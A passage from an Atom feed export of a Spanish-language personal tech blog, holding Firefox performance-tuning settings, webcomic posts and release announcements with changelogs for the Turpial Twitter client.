/&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;network.http.max-connections = 48&lt;/li&gt;&lt;li&gt;network.http.max-connections-per-server = 16&lt;/li&gt;&lt;li&gt;network.http.max-persistent-connections-per-proxy = 8&lt;/li&gt;&lt;li&gt;network.http.max-persistent-connections-per-server = 4&lt;/li&gt;&lt;li&gt;network.http.pipelining = true&lt;/li&gt;&lt;li&gt;network.http.pipelining.maxrequests = 8&lt;/li&gt;&lt;li&gt;network.http.pipelining.ssl = true&lt;/li&gt;&lt;li&gt;network.http.proxy.pipelining = true&lt;/li&gt;&lt;li&gt;network.http.request.timeout = 300&lt;/li&gt;&lt;li&gt;network.dns.disableIPv6 = true (si vives en un país donde no usen IPv6)&lt;/li&gt;&lt;li&gt;network.prefetch-next = false (evita que Firefox descargue las páginas antes de que les des clic)&lt;/li&gt;&lt;li&gt;content.notify.ontimer = true&lt;/li&gt;&lt;li&gt;content.interrupt.parsing = true&lt;/li&gt;&lt;li&gt;content.max.tokenizing.time = 2250000&lt;/li&gt;&lt;li&gt;content.maxtextrun = 8191&lt;/li&gt;&lt;li&gt;content.notify.interval = 750000&lt;/li&gt;&lt;li&gt;content.switch.threshold = 750000&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;2.- Optimizar el consumo de memoria:&lt;/b&gt; Todos sabemos que Firefox consume mucha RAM; bueno esta es la parte donde lo ponemos a dieta.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;browser.cache.disk.capacity = 20000 (establece la cantidad de disco en KB que se usará para la cache. Usa 20000 si tienes más de 1GB de RAM, 15000 si tienes entre 1GB - 512MB y 5000 si tienes menos de 512MB de RAM)&lt;/li&gt;&lt;li&gt;browser.cache.memory.capacity = 32768 (indica la cantidad de RAM en KB que usa Firefox para la cache. Si la clave no existe la creamos de tipo Entero. Se recomienda 32768 si tienes 2GB de RAM, 16384 si tienes entre 1GB - 512MB y 8192 para menos de 512MB)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;3.- Usar el nuevo motor de JavaScript TraceMonkey:&lt;/b&gt; El nuevo motor es más rápido y mejora la experiencia al momento de cargar páginas con alto contenido de JS (ya viene por defecto en las versiones más nuevas de Firefox).&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;javascript.options.jit.chrome = true&lt;/li&gt;&lt;li&gt;javascript.options.jit.content = true&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;4.- Mejorar el comportamiento:&lt;/b&gt; Modificaremos otras claves para mejorar el comportamiento de Firefox en diferentes situaciones.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;toolkit.scrollbox.scrollIncrement = 75 (acelera el scrolling entre pestañas)&lt;/li&gt;&lt;li&gt;browser.sessionstore.interval = 30000 (guarda la sesión cada 30 seg y no cada 10)&lt;/li&gt;&lt;li&gt;browser.sessionstore.max_tabs_undo = 5 (indica el número de pestañas que puedes restaurar luego de cerrarlas)&lt;/li&gt;&lt;li&gt;browser.sessionhistory.max_total_viewers = 4 (indica el número de páginas que son almacenadas en la RAM para que no deban ser reprocesadas por Firefox. Puedes visitar éste &lt;a href="http://kb.mozillazine.org/Browser.sessionhistory.max_total_viewers"&gt;sitio&lt;/a&gt; para mayor información)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Ya está, con eso tendremos un Firefox un poco más rápido. Y a ti, ¿te ha funcionado la receta? Deja tu comentario&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1783489544757105460?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1783489544757105460/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1783489544757105460&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1783489544757105460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1783489544757105460'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/02/firefox-casi-tan-rapido-como-google.html' title='Firefox casi tan rápido como Google Chrome'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5510357840972021861</id><published>2010-02-02T20:32:00.000-08:00</published><updated>2010-02-02T20:32:40.137-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic - El pisapapeles</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;Pues dedicado a todos los Fanboys de Apple xD&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;(Click en la imagen para agrandar)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/S2j8EcRv-wI/AAAAAAAAAUY/rnChLXFkqCU/s1600-h/07+-+Pisapapeles.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/S2j8EcRv-wI/AAAAAAAAAUY/rnChLXFkqCU/s320/07+-+Pisapapeles.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5510357840972021861?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5510357840972021861/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5510357840972021861&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5510357840972021861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5510357840972021861'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/02/webcomic-el-pisapapeles.html' title='Webcomic - El pisapapeles'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/S2j8EcRv-wI/AAAAAAAAAUY/rnChLXFkqCU/s72-c/07+-+Pisapapeles.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6823153957433759507</id><published>2010-01-23T21:58:00.000-08:00</published><updated>2010-01-23T22:17:33.441-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Turpial'/><title type='text'>Publicada versión 0.9.3-a1 de Turpial</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Hoy se publica oficialmente la versión 0.9.3-a1 de Turpial. Es similiar en funcionalidad a la 0.9.2 porque solo tiene unos cuantos bugs corregidos. También se cambió la numeración de las versiones y a partir de este momento cada una contendrá una letra al final (seguida por un número). Las letras usadas serán a: alpha, b: beta, rc: release candidate.&lt;br /&gt;&lt;br /&gt;Otra cosa importante a resaltar es que con este lanzamiento Turpial cuenta con su primer paquete para una distro GNU/Linux. El paquete en cuestión es un .rpm para Fedora 11 y 12 (i386) elaborado por el amigo Edwind Contreras (aka &lt;a href="http://richzendy.org/"&gt;Richzendy&lt;/a&gt;). Gracias por el excelente trabajo.&lt;br /&gt;&lt;br /&gt;A continuación la lista de bugs corregidos en esta entrega:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Castellanizada toda la aplicación (a excepción de términos muy específicos)&lt;/li&gt;&lt;li&gt;Corregido bug que impedía guardar la opción de cargar color del perfil&lt;/li&gt;&lt;li&gt;Corregido error que bloqueaba la opción 'Follow' del menú contextual cuando el usuario no tiene amigos&lt;/li&gt;&lt;li&gt;Corregido error #54 con las notificaciones (el programa fallaba si no estaba instalado python-notify)&lt;/li&gt;&lt;li&gt;Corregido error #56 que impedía mostrar correctamente los hashtags en el menú contextual&lt;/li&gt;&lt;li&gt;Corregido bug #55 que impedía abrir el perfil del autor de un tweet&lt;/li&gt;&lt;li&gt;Corregido error #57 que bloqueaba la interfaz gráfica al actualizar y enviar un tweet al mismo tiempo (deadlock entre hilos)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;No queda más que invitarlos a que prueben o actualicen a esta nueva versión; si consiguen un bug o tienen una sugerencia reportenlo &lt;a href="http://code.google.com/p/turpial/issues/list"&gt;aquí&lt;/a&gt; y si les gusta comenten, apoyen y difundan :D&lt;br /&gt;&lt;br /&gt;&lt;a href="http://turpial.googlecode.com/files/turpial-0.9.3-a1.tar.gz"&gt;Descargar 0.9.3-a1&lt;/a&gt; &lt;br /&gt;&lt;a href="http://turpial.googlecode.com/files/turpial-0.9.3-a1.fc12.i386.rpm"&gt;Descargar 0.9.3-a1&lt;/a&gt; (RPM Fedora)&lt;br /&gt;&lt;br /&gt;Para más información del proyecto:&lt;br /&gt;&lt;a href="http://code.google.com/p/turpial/"&gt;Página oficial&lt;/a&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/turpial/wiki/FAQ"&gt;Preguntas y Respuestas Frecuentes&lt;/a&gt;&lt;br /&gt;&lt;a href="http://renatafranco.tumblr.com/post/343308234/manual-de-instalacion-de-turpial-en-ubuntu"&gt;Manual de Instalación en Ubuntu&lt;/a&gt; (por Renata Franco)&lt;br /&gt;&lt;a href="http://bloggerosanonimos.blogspot.com/2010/01/turpial-twitter-con-sabor-venezolano.html"&gt;Manual de Uso&lt;/a&gt; (por Azrael Arocha)&lt;br /&gt;&lt;br /&gt;Publicaciones anteriores:&lt;br /&gt;&lt;a href="http://damncorner.blogspot.com/2010/01/disponible-version-092-de-turpial.html"&gt;Lanzamiento de la versión 0.9.2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://damncorner.blogspot.com/2010/01/publicado-turpial-08-mas-criollo-que.html"&gt;Lanzamiento de la versión 0.8&lt;/a&gt;&lt;br /&gt;&lt;a href="http://damncorner.blogspot.com/2009/11/turpial-un-cliente-twitter-para.html"&gt;Lanzamiento de la primera versión (0.6)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6823153957433759507?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6823153957433759507/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6823153957433759507&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6823153957433759507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6823153957433759507'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/01/publicada-version-093-a1-de-turpial.html' title='Publicada versión 0.9.3-a1 de Turpial'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5397160447022257701</id><published>2010-01-20T18:21:00.000-08:00</published><updated>2010-01-20T18:21:30.408-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic - El rebelde</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;Después de sacar la &lt;a href="http://damncorner.blogspot.com/2010/01/disponible-version-092-de-turpial.html"&gt;versión 0.9.2&lt;/a&gt; del &lt;a href="http://code.google.com/p/turpial/"&gt;Turpial&lt;/a&gt; he podido tomarme unos minutos de descanso y retomar mis comics. Espero que les guste :D&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;(Click en la imagen para agrandar)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/S1e4_Yo1SxI/AAAAAAAAAUQ/uqacUE8f98k/s1600-h/06+-+El+rebelde.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/S1e4_Yo1SxI/AAAAAAAAAUQ/uqacUE8f98k/s320/06+-+El+rebelde.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5397160447022257701?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5397160447022257701/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5397160447022257701&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5397160447022257701'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5397160447022257701'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/01/webcomic-el-rebelde.html' title='Webcomic - El rebelde'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/S1e4_Yo1SxI/AAAAAAAAAUQ/uqacUE8f98k/s72-c/06+-+El+rebelde.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-2631875213348059389</id><published>2010-01-19T19:08:00.000-08:00</published><updated>2010-01-19T19:24:40.007-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Turpial'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='PyGTK'/><title type='text'>Disponible versión 0.9.2 de Turpial</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/S1Z0X8YoqFI/AAAAAAAAAUI/DgvFcfQEvrg/s1600/t5.png" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Por mucho que le dí vueltas a la cabeza para empezar este post, no puedo abrirlo de otra forma que no sea diciendo... &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;h1&gt;¡GRACIAS!&lt;/h1&gt;&lt;/div&gt;&lt;br /&gt;Gracias a todas las personas que han apoyado este proyecto de una u otra manera, gracias a los que se han tomado la molestia de probarlo, gracias por todos los RT y las menciones en Twitter, gracias por los buenos comentarios y las sugerencias, de verdad... ¡Muchas Gracias!. Gracias a la comunidad de Software Libre en general por la gran aceptación que le han dado a esta humilde aplicación... el &lt;strong&gt;Turpial&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Ahora sí... empecemos.&lt;br /&gt;&lt;br /&gt;Siguiendo con un ciclo intensivo de desarrollo presento con orgullo la &lt;a href="http://turpial.googlecode.com/files/turpial-0.9.2.tar.gz"&gt;versión 0.9.2&lt;/a&gt; de Turpial, el cliente Twitter con sabor Venezolano.&lt;br /&gt;&lt;br /&gt;A pesar de que solo han pasado 4 días desde el lanzamiento de la versión anterior &lt;a href="http://damncorner.blogspot.com/2010/01/publicado-turpial-08-mas-criollo-que.html"&gt; 0.8.5&lt;/a&gt;, hay un montón de cosas nuevas y bugs corregidos en esta nueva entrega.&lt;br /&gt;&lt;br /&gt;Las novedades más resaltantes:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Añadida opción para configurar el número de tweets por columna&lt;/li&gt;&lt;li&gt;Resaltado de los tweets favoritos&lt;/li&gt;&lt;li&gt;Mejorados mensajes de error&lt;/li&gt;&lt;li&gt;Almacenado el tamaño que el usuario le asigne a la ventana&lt;/li&gt;&lt;li&gt;Corregido shebang del lanzador para hacerlo compatible con Fedora (gracias a Richzendy)&lt;/li&gt;&lt;li&gt;Agregado soporte para los servicios su.pr y bit.ly (cortado de URLs)&lt;/li&gt;&lt;li&gt;Usado el esquema de colores del perfil del usuario para los elementos resaltables&lt;/li&gt;&lt;li&gt;Soporte para abrir los hashtags desde el menú contextual&lt;/li&gt;&lt;li&gt;Añadido botón para limpiar las búsquedas&lt;/li&gt;&lt;li&gt;Mejoradas la detección de hashtags y menciones&lt;/li&gt;&lt;li&gt;Agregada la opción para activar/desactivar el sonido de las notificaciones&lt;/li&gt;&lt;li&gt;Mejorados los módulos de configuración y notificaciones&lt;/li&gt;&lt;li&gt;Corregidos otro bugs menores&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Si ya tienes instalada una versión 0.8.x y quieres actualizar solo basta con que descargues la 0.9.2 y descomprimas la carpeta &lt;strong&gt;turpial&lt;/strong&gt;, reemplazando la carpeta anterior. Todo debería funcionar sin ningún problema e incluso deberías conservar toda tu configuración intacta.&lt;br /&gt;&lt;br /&gt;Debo decir que detrás de una aplicación como Turpial hay muchas horas de programación, pero también hay muchas horas de pruebas y detección de errores. Afortunadamente Turpial cuenta con un par de beta testers estrellas: Azrael Arocha y José Leonel Subero (aka arawako). Excelente trabajo muchachos.&lt;br /&gt;&lt;br /&gt;Pueden seguir el progreso de Turpial en Twitter a través de &lt;a href="http://twitter.com/turpialve"&gt;@TurpialVe&lt;/a&gt;; también tenemos la &lt;a href="http://code.google.com/p/turpial/"&gt;página principal del proyecto&lt;/a&gt; en google code, una página de &lt;a href="http://code.google.com/p/turpial/wiki/FAQ"&gt;Preguntas y Respuestas Frecuentes&lt;/a&gt; (FAQs) y dos excelentes tutoriales; un &lt;a href="http://renatafranco.tumblr.com/post/343308234/manual-de-instalacion-de-turpial-en-ubuntu"&gt;Manual de Instalación en Ubuntu&lt;/a&gt; realizado por mi pana Renata Franco y un &lt;a href="http://bloggerosanonimos.blogspot.com/2010/01/turpial-twitter-con-sabor-venezolano.html"&gt;Manual de Uso&lt;/a&gt; hecho por el pana Turpial Beta Tester, Azrael. Ya no tienes excusas... ¡A probarlo!&lt;br /&gt;&lt;br /&gt;De más está invitarlos a que lo descarguen, lo prueben, lo comenten y lo apoyen. No es necesario saber programar para apoyar y colaborar con el Turpial.&lt;br /&gt;&lt;br /&gt;Espero que lo disfruten. Screenshots después del salto (click en las imágenes para agrandar)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_oLUxtmo5LIU/S1ZyWICFORI/AAAAAAAAATo/niQP51mCXEk/s1600-h/t1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/S1ZyWICFORI/AAAAAAAAATo/niQP51mCXEk/s320/t1.png" /&gt;&lt;/a&gt;&lt;br /&gt;Turpial 0.9.2&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/S1ZyXo_pQuI/AAAAAAAAATw/xVUdHdyP6us/s1600-h/t2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/S1ZyXo_pQuI/AAAAAAAAATw/xVUdHdyP6us/s320/t2.png" /&gt;&lt;/a&gt;&lt;br /&gt;Nuevas funciones en el menú contextual y resaltado de favoritos&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/S1ZyYDhycQI/AAAAAAAAAT4/UODt4YexIe8/s1600-h/t3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/S1ZyYDhycQI/AAAAAAAAAT4/UODt4YexIe8/s320/t3.png" /&gt;&lt;/a&gt;&lt;br /&gt;Soporte para nuevos servicios de cortado de URLs&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/S1ZyZaMbtOI/AAAAAAAAAUA/KeR1VsYtIXA/s1600-h/t4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/S1ZyZaMbtOI/AAAAAAAAAUA/KeR1VsYtIXA/s320/t4.png" /&gt;&lt;/a&gt;&lt;br /&gt;Implementadas nuevas preferencias&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;¿Y tu, ya probaste Turpial? Cuéntanos que te pareció, deja tu comentario&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-2631875213348059389?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/2631875213348059389/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=2631875213348059389&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/2631875213348059389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/2631875213348059389'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/01/disponible-version-092-de-turpial.html' title='Disponible versión 0.9.2 de Turpial'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/S1Z0X8YoqFI/AAAAAAAAAUI/DgvFcfQEvrg/s72-c/t5.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3573786350902873170</id><published>2010-01-11T20:01:00.000-08:00</published><updated>2010-01-14T21:35:54.702-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Turpial'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='PyGTK'/><title type='text'>Publicado Turpial 0.8: Más criollo que una arepa</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: 85%;"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SwOKfnMYVkI/AAAAAAAAAQk/0cv6XXOmIvo/s1600/turpial.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SwOKfnMYVkI/AAAAAAAAAQk/0cv6XXOmIvo/s320/turpial.png" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size: 85%;"&gt;&lt;br /&gt;Hace aproximadamente un par de meses hice oficialmente la &lt;a href="http://damncorner.blogspot.com/2009/11/turpial-un-cliente-twitter-para.html"&gt;primera publicación de Turpial&lt;/a&gt; (v0.6); un cliente alternativo de Twitter para GNU/Linux escrito en Python.&lt;br /&gt;&lt;br /&gt;Para aquel entonces solo contaba con interfaz &lt;strike&gt;para geeks&lt;/strike&gt; modo texto y un buen repertorio de funciones. Ahora, gracias a la colaboración del pana Azrael, traemos la versión 0.8 con un montón de bugs corregidos y funciones nuevas, pero lo más importante... ¡con interfaz para gente normal! :D&lt;br /&gt;&lt;br /&gt;Ha sido un trabajo duro, aún quedan &lt;b&gt;MUCHAS&lt;/b&gt; cosas por terminar y otras más por corregir (si no me creen miren la &lt;a href="http://code.google.com/p/turpial/issues/list"&gt;lista de bugs y cosas pendientes&lt;/a&gt; xDDD), pero lo importante es que el trabajo está dando sus frutos y al menos alguien más, a parte de mi, usa Turpial (sí, es Azrael, y que!?)&lt;br /&gt;&lt;br /&gt;Entre las características del nuevo Turpial tenemos:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-size: 85%;"&gt;&lt;li&gt;Interfaz GTK+ para el modo gráfico (el modo texto está en reconstrucción)&lt;/li&gt;&lt;li&gt;Puedes ver el timeline, las menciones, los mensajes directos, los favoritos y el perfil del usuario&lt;/li&gt;&lt;li&gt;Permite tuitear, borrar tuits y retuitear&lt;/li&gt;&lt;li&gt;Marcar y desmarcar tuits favoritos&lt;/li&gt;&lt;li&gt;Soporta búsquedas&lt;/li&gt;&lt;li&gt;Envía mensajes directos (solo usando el comando D)&lt;/li&gt;&lt;li&gt;Dispone de servicios para cortado de URLs&lt;/li&gt;&lt;li&gt;Descarga las imágenes de los usuarios&lt;/li&gt;&lt;li&gt;Tiene una interfaz con respuesta mejorada (usando threads)&lt;/li&gt;&lt;li&gt;Notificaciones integradas con el entorno de escritorio (y con sonido)&lt;/li&gt;&lt;li&gt;Guarda las preferencias del usuario&lt;/li&gt;&lt;li&gt;Modo "wide" a 3 columnas&lt;/li&gt;&lt;li&gt;Nueva API usando la autenticación segura de Twitter (OAuth)&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;span style="font-size: 85%;"&gt;&lt;br /&gt;Para los interesados, &lt;a href="http://turpial.googlecode.com/files/turpial-0.8.5.tar.gz"&gt;aquí&lt;/a&gt; pueden descargarlo y tenemos una sección de &lt;a href="http://code.google.com/p/turpial/wiki/FAQ"&gt;FAQs&lt;/a&gt; (Preguntas y Respuestas Frecuentes) donde se aclaran dudas comúnes y se explica cómo instalarlo y probarlo (no, lamentablemente no explicamos cómo desinstalarlo)&lt;br /&gt;&lt;br /&gt;Este nuevo Turpial viene con puro sabor venezolano y es casi tan criollo como comerse una buena arepa con queso y mantequilla, así que los invito a que lo prueben, lo comenten, lo compartan y si les gusta, lo apoyen. &lt;br /&gt;&lt;br /&gt;Los dejo con una pequeña galería de screenshots pa' que se animen.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr align="center"&gt; &lt;td&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/S0v327yi2hI/AAAAAAAAAS0/-g2Q6Qu3PUU/s1600-h/turpial.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/S0v327yi2hI/AAAAAAAAAS0/-g2Q6Qu3PUU/s200/turpial.png" /&gt;&lt;/a&gt;&lt;/td&gt;    &lt;td&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/S0v77jRtM4I/AAAAAAAAATc/KBG1xIU1A4U/s1600-h/prefs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/S0v77jRtM4I/AAAAAAAAATc/KBG1xIU1A4U/s200/prefs.png" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr align="center"&gt; &lt;td&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/S0vxMxTTu3I/AAAAAAAAASc/QEoebsJdPQ8/s1600-h/notif.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/S0vxMxTTu3I/AAAAAAAAASc/QEoebsJdPQ8/s200/notif.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;a 